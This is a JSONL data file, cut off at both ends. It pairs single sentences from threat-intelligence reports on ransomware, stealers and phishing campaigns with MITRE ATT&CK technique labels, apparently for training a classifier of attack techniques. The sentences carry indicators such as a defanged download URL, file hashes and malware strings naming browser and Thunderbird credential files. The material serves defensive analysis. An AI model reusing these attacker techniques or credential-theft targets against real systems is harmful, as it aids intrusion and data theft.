{78494464-3fdf-11ed-8279-806e6f6e6963} Content-Disposition: form-data; name=”pid” 1 Content-Disposition: form-data; name=”lid” xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx When we examine the contents of the zip file viewed from the PCAP file, it collects information, primarily system information.", "labels": ["T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "It targets the browsers we have seen in the static analysis codes.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "We have obtained different zip files because Lumma Stealer sent multiple POST requests to the “c2/sock” address.", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The content of the .db file named web data is shown in the image below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "There is not much data for the Edge browser, so when we add the cookie information collected for Mozilla, we can see clearly in the following image that it has collected cookie information for many account details.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The list of all the information it tries to collect inside of the “Web Data” SQLite file is given in the last image.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "We used the VirusTotal graphical interface for Threat Research at this research stage with the IP address sending the POST request.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "C2 Login Page is shown in the screenshot below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"} {"sentence": "The user is also asked to permit push notifications in the browser, which allows the attacker to push malicious ads, as we will demonstrate later in this analysis.", "labels": ["T1204.002"], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Fake questions displayed by the phishing page.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Step 4 – The attacker continues to deceive the victim, in an attempt to add more credibility to the phish, by asking a series of questions to the victim, such as how, where, and when the victim would like to receive the package.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "This service can be used to generate a digital certificate that includes information about a lead, such as geolocation, IP address, browser type, operating system, the time spent on the page, and even a web session replay.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "And finally, the phishing page redirects the victim to the next stage, using a URL parsed from the JSON we demonstrated earlier.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "This page returns a second URL, which is used to redirect the user to a third URL.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "This is done to add resilience, as the attacker can update the URLs with little effort if the last stage is taken down.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Once the credit card data is entered in the page, it starts sending requests to the 3DS API, which performs a temporary purchase in the credit card number.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Phishing page abusing PAAY 3DS service.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"} {"sentence": "Check out McAfee Insights to stay on top of NetWalker’s latest developments and intelligence on other cyber threats, all curated by the McAfee ATR team.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Since the end of 2019, the NetWalker gang has indicated a preference for larger organisations rather than individuals.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "As mentioned earlier, NetWalker RaaS prioritizes quality over quantity and is looking for people who are Russian-speaking and have experience with large networks.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Example of ransom note after March 2020 NetWalker Analysis Figure 4. NetWalker behavior NetWalker Resource Analysis (Pre-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The NetWalker malware uses a custom resource type (1337 or 31337) containing its entire configuration.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "When Netwalker changed its contact mode and switched from email to the submission of the user key directly on the web portal of the group’s blog, the configuration file in the resource also changed.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "We found changes in the configuration file, such as the disappearance of the contact “mail” and “crmask” fields (previously set as XXX@cock.li,XXX@tuta.io, etc., and .mailto[email].{ID}).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Name cnt.ex Size 70656 bytes File-Type EXE SHA 256 26dfa8512e892dc8397c4ccbbe10efbcf85029bc2ad7b6b6fe17d26f946a01bb Compile time 2 May 2020 Figure 6.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "NetWalker resource from cnt.ex Usually, attackers use RC_DATA or a malicious BITMAP.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Additionally, instead of using the function “GetProcAddress”, the malware uses the Process Environment Block (PEB) to make analysis harder. Figure 8.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Load library using LdrLoadDll Figure 10.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The struct of the resource is: 4 bytes ->", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The size of the hardcoded key to decrypt the configuration file.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The malware will try first to write in the registry-hive “HKEY_LOCAL_MACHINE” but if it cannot create it, it will use the registry-hive “HKEY_CURRENT_USER”: Figure 12.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "After this step, it will get the system directory and use “VSSadmin” to delete the Volume Shadow copies of the system.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Next, it will launch “notepad.exe” with an argument to the ransom note file to show the user what happened on the system: Figure 16.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Creation of the ransom note in the desktop and root units Finally, after the encryption of the files and creation of the ransom note, the malware creates a bat file in the %temp% folder of the machine with a temporary name and writes the content to destroy itself using the program “taskkill”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Get Temp path and make a temporary file as a bat and launch it Finally, the malware will finish with “ExitProcess”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Decryptor When a NetWalker victim goes through technical support (see an example of this below) and pays the ransom demanded by the group they will be able to download the decryptor to clean up their environment.", "labels": ["T1105", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Underground Advertising In March 2020, the moniker Bugatti began actively advertising the NetWalker Ransomware-as-a-Service on two popular underground fora.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The strength of NetWalker’s reputation is such that our current hypothesis is that the individual behind Bugatti is most likely a well-respected and experienced cybercriminal, even though it is a new moniker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "One forum message in particular caught our attention as it included screenshots of several partial bitcoin addresses and USD amounts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Since the bitcoin blockchain is a publicly accessible ledger, we can follow the money and see where the ransomware actors are transferring it to.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "On 30 March 2020 the first incoming transaction appears where the amount is split between 4 different bitcoin addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "In this first transaction, the split is 80%, 10% and two 5% portions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "This split matches the advertisement on the underground forum (80% – 20%).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The two 5% portions of the ransom payments that are split, seem to be consistently transferred to the two bitcoin addresses we revealed earlier (bc1q98 and 1DgLhG).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "The total amount of bitcoin extorted this way between 1 March 2020 and 27 July 2020 is 677 BTC.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "By using historic bitcoin to USD exchange rates, we estimate a total of 25 million USD was extorted with these NetWalker related transactions.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "All this at a time when many sectors are struggling because people are sheltering in place and governments are trying to keep businesses from going bankrupt.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "NetWalker is making millions off the backs of legitimate companies.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Armed with this hypothesis, we searched for possible links to underground actors and other ransomware strains that might fit the bill.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Such overlap could suggest a stronger link between the current NetWalker version and the other ransomware versions from Eriknetwalker, possibly even explaining the name overlap.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "As illustrated in the overview, the September 2019 NetWalker version has a different codebase from the ErikNetWalker-linked ransomware variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "However, for the sake of transparency, we decided to include our research efforts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Want to stay ahead of the adversaries?", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"} {"sentence": "Consent phishing attacks aim to trick users into granting permissions to malicious OAuth apps to gain access to user’s legitimate cloud services (mail servers, files storage, management APIs, etc.).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Overview of the attack chain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "There were two modifications which allowed them to perform the next step in the attack chain: Create a new inbound connector Connectors are a collection of instructions that customize the way email flows to and from organizations using Microsoft 365 or Office 365.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "After each spam campaign, the actor deleted the malicious inbound connector and transport rules to prevent detection, while the application remained deployed in the tenant until the next wave of the attack (in some cases, the app was dormant for months before it was reused by the threat actor).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Figure 2.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "An example of the PowerShell script used for setting new Exchange connector and transport rulesSpam email campaign sent through Exchange connector The actor behind this attack has been actively running spam email campaigns for many years.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Familiar brand logos, names, and websites were used throughout the spam email, likely to give an illusion of legitimacy.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Figure 4.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "This attack thus exposes security weaknesses that could be used by other threat actors in attacks that could directly impact affected enterprises.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Note, however, that these alerts may also be triggered by unrelated threat activity.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Email messages from a campaign removed after delivery​. This alert is generated when any messages associated with a campaign are delivered to mailboxes in an organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "This alert is generated when a successful sign-in from an IP address that had been identified as participating in password spray was observed.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "App governance App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Administrative activities along with other threat detection alerts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "Anonymous IP address.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam Microsoft Security Blog"} {"sentence": "It also drops and installs MegaSync to exfiltrate data.", "labels": ["T1105"], "doc_title": "Nefilim Ransomware"} {"sentence": "Ransomware Execution The Nefilim malware uses AES-128 encryption to lock files and their blackmail payments are made via email.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "After encryption, it dropped the ransomware note by named ‘NEFILIM-DECRYPT.txt’.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "In addition to the encrypted AES key, the ransomware will also add the “NEFILIM” string as a file marker to all encrypted files. Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "It checks for a timestamp and compare it to another one after a few malicious instructions, in order to check if there was a delay.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "up to date to protect your computer from new variants of malware.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Regularly patch and update applications, software, and operating systems to address any exploitable software vulnerabilities.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Do not download cracked/pirated software as they risk backdoor entry for malware into your computer.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Having minimum required privileges Don’t assign Administrator privileges to users.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Most importantly, do not stay logged in as an administrator unless it is strictly necessary.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Monitor for Lateral Movement To spot these attacks, keep an eye out not only for attack code but also monitor for any evidence of lateral movement and data exfiltration within the environment.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "To determine if an organization has been hit by Nefilim, check remote-access systems for any signs of unauthorized access.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Medium The time has come again for tax returns—and tax-based scams.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "test.vbs creates %usertemp%\\Note.txt, a clean file containing fake \"QUARTERLY TAX PAYMENTS FOR 2022\" data. Figure 4.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Management.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Automation.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Running the link file triggers the download and execution of “doc.pdf” from “hxxp://datacenter11[.]myftp[.]org/notepad/”.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "Here are screenshots of a recently cracked version of XWorm v3.1: Figure 5.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The PowerShell code sets the following registry entry to open the downloaded PDF file every time the computer boots and adds the HIDDEN file attribute to the file:", "labels": ["T1547.001", "T1564.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "[location of downloaded PDF file]", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The script then sleeps five seconds before downloading and executing whatever has been downloaded.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "The directory contains a few files whose names are associated with Adobe Acrobat Reader DC.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "reader64[.]hta (SHA2: 3b2e776ab44a711a52de88b02c007897eed137b62ecc7fb51bbb3089941bda1a) readerdc64_en_ka_cra_mdr_install_update[.]wsf (SHA2: d2f0995f9184170386360d5eb5990e38a289052e6a15706613c9568a207da7d7) AsyncRAT contains features designed to steal information from compromised machines and a clipper feature that monitors the clipboard for crypto wallet address swapping, which means victims may end up paying more than their taxes.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "YNY!tr.dldr W32/PasswordProtected.829D!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"} {"sentence": "However, evidence suggests that it has been in development since February.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "The attackers not only execute ransomware but also exfiltrate sensitive data and threaten to release it publicly if the ransom demands are not met.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "At least 20 victims were posted to its leak site in the first two weeks of the ransomware’s operation, which indicates the group likely is experienced in the ransomware business and has a steady source of initial access.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "It has been used by other ransomware groups, including MegaCortex, ProLock, DoppelPaymer and Egregor.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "It also supports the command line argument -forcepath that is used to encrypt files in a specified directory.", "labels": ["T1059.003"], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Black Basta icon.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "T1047.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Create Account Black Basta threat actors created accounts with names such as temp, r, or admin. T1098.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Domain Policy Modification:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. T1543.003.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "TA0005 Defense Evasion T1484.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "T1562.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Impair Defenses: Disable or Modify Tools Disables Windows Defender with batch scripts, such as d.bat or defof.bat.", "labels": ["T1059.003", "T1562.001"], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads. T1622.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "This site is hosted as a Tor hidden service, where the Black Basta ransomware group lists their victims’ names, descriptions, percentage of stolen data which has been published, number of visits and any data exfiltrated.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Courses of Action Several adversarial techniques were observed in activity associated with Black Basta, and the following measures are suggested within Palo Alto Networks products and services to mitigate threats related to Black Basta ransomware, as well as other malware using similar techniques: Product / Service Course of Action Initial Access", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "The below courses of action mitigate the following techniques: Spear Phishing Attachment [T1566.001] THREAT PREVENTION Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure a secure antivirus profile is applied to all relevant security policies NEXT-GENERATION FIREWALLS Set up File Blocking CORTEX XDR PREVENT Configure Malware Security Profile CORTEX XSOAR Deploy XSOAR Playbook – Endpoint Malware Investigation Deploy XSOAR Playbook – Phishing Investigation –", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1569.002], Windows Management Instrumentation", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone CORTEX XDR PREVENT Configure Restrictions Security Profile Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1218.010], File Deletion", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1140], Disable or Modify System Firewall", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "[T1562.004], Windows Service [T1543.003], DLL Search Order Hijacking [T1574.001], Group Policy Modification", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Ensure that the User-ID service account does not have interactive logon rights Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned and set to appropriate actions Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists CORTEX XDR PREVENT Configure Host Firewall Profile CORTEX XSOAR Deploy XSOAR Playbook – Access Investigation Playbook Deploy XSOAR Playbook – Block Account Generic Collection", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Although their RaaS has only been active for the past couple of months it had compromised at least 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Learn more about the Cyber Threat Alliance.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"} {"sentence": "Amidst the ever-changing threat landscape, new tactics, techniques, and procedures (TTPs) seem to emerge daily, creating extreme challenges for security teams.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Darktrace regularly observes malicious actors behaving in predictable ways once they gain access to customer Microsoft 365 environment.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "The ‘Newsletter Software Supermailer’ application was likely registered by the actor to facilitate mass-mailing activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Immediately after these actions, Darktrace detected the actor sending out thousands of malicious emails from the account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "The emails included an attachment named ‘Credit Transfer Copy.html’, which contained a suspicious link.", "labels": ["T1566.001"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "Further investigation revealed that the customer’s network had received several fake invoice emails prior to this initial intrusion activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "The endpoint appears to be related to the VPN service, Surfshark VPN.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"} {"sentence": "The user navigates to the first advertisement displayed, which redirects the user to the website hosting the fake installer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Within the MSI file, we have found the components of NovaPDF 11 (Figure 6) and other garbage files shown in Figure 7.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Custom Actions are the operations defined by the user during installation or MSI execution.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The malicious script resides under AI_DATA_SETTER action name and contains the instructions to download the malicious update.bat file from the C2 domain and place it under AppData\\Roaming folder (Figure 8).", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The strings “*terminal* *wallet* *bank* *banco*” were also observed which suggests that Ursnif is also capable of stealing cryptocurrency from digital wallets and banking credentials.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 17: Process injection We have observed ISFB injecting itself into a running explorer.exe process.", "labels": ["T1055"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Part of the key is derived from the division operations from the value retrieved from API call GetSystemTimeAsFileTime (retrieving system time).", "labels": ["T1106"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Another part of the key is embedded in our payload which is 0x81b8e7da.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The hash values are calculated by XORing the value 0x69b25f44 (known as g_CsCookie from the leaked code) with the values that match with CRC_CLIENT32 (again, from the leaked code).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Cmd %s processed: %u Cmd %u parsing: %u cmd /C", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "USERPROFILE%\\AppData\\Roaming\\Thunderbird\\Profiles\\*.default \\logins.json /C pause dll cache2\\entries\\*.*", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "%s -value iex;%s ([System.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "ipconfig /all file://c:\\test\\test32.dll file://c:\\test\\tor64.dll 30, 8, *terminal* *wallet* *bank* *banco* Man-in-the-browser is another capability of Ursnif.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "If the mutex is not present – the RAT will reach out to the C2.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 33:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Scripts supported by SystemBC BatLoader Analysis (Second Campaign)", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "We observed that the script retrieves NSudo and modifies Windows UAC prompt behavior by allowing administrators to perform operations without authentication or consent prompts: Disabling Windows Defender notifications, Disabling Task Manager, Disabling command prompt, Preventing users from accessing Windows registry tools, Disabling Run command, Modifying the display timeout (monitor powers off after 30 minutes) and sleep mode (on AC/battery power – goes to sleep after 3000 minutes (50 hours)).", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The scripttodo.ps1 was also changed to ru.ps1 as well as the names for malicious binaries as shown in Figure 39.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "We are taking a full-scale response approach to ongoing cybersecurity threats by deploying countermeasures, such as: Implementing threat detections and leveraging BlueSteel, our machine-learning powered PowerShell classifier, to identify malicious command execution and ensuring that eSentire has visibility and detections are in place across eSentire MDR for Endpoint and MDR for Network.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Disable or Modify Tools Description Disabling Windows Defender notifications, Task Manager and Command Prompt MITRE ATT&CK Tactic Process Injection ID T1055 Description ISFB injects itself into explorer.exe as a result of successful BatLoader infection MITRE ATT&CK Tactic Unsecured Credentials ID T1552.001 MITRE ATT&CK Technique Unsecured Credentials: Credentials In Files Description The ISFB version observed is capable of accessing browser credentials and cookies, Thunderbird and Outlook profiles, POP3, SMTP passwords.", "labels": ["T1055", "T1552.001", "T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign and are discussed in this blog.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries similar to the below.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Representation of lateral movement to cookie theft to O365 authentication CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user’s workstation with the workstation owner’s account (e.g., connecting via RDP to user1-pc using the account user1).", "labels": ["T1021.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "These cross-tenant sign-ins were identified by looking for values in the resourceTenantId attribute that did not match the Cloud Solution Partner’s own Azure tenant ID.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This limitation is scheduled to be resolved in 2022 via Microsoft’s scheduled feature, Granular Delegated Admin Privileges (GDAP).3 User Access Logging (UAL)", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Persistence was established via a crontab entry for a non-root user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot.", "labels": ["T1036.005", "T1564.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where “XX” is a previously existing directory on the system): C:\\XX\\[a-z0-9]{6} C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3} C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3}\\domain.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "CrowdStrike observed the threat actor accessing the wiki as users who would be considered “non-privileged” from an Active Directory perspective but had access to sensitive data specific to the victim’s products or services.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Read.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "All Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "These permissions would allow the threat actor to use the Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Below is an example of the registry data: Figure 6.", "labels": [], "doc_title": "Early Bird Catches the 